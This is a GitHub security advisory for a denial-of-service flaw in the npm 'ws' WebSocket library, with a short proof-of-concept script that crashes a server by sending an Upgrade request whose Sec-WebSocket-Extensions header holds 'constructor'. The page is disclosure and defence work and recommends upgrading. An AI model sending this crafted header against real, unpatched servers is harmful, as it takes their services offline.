GitHub Advisoryadvisory · npm

GHSA-5v72-xg48-5rpm Denial of Service in ws

HIGH Published 2019-06-04 Modified 2026-07-17 Official page ↗
Ecosystem
npm
Packages
ws
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2019-06-04

Affected packages

• npm ws: >= 0.6.0, < 1.1.5 → fixed in 1.1.5 • npm ws: >= 2.0.0, < 3.3.1 → fixed in 3.3.1

Description

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` Recommendation Update to version 3.3.1 or later.

Related

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References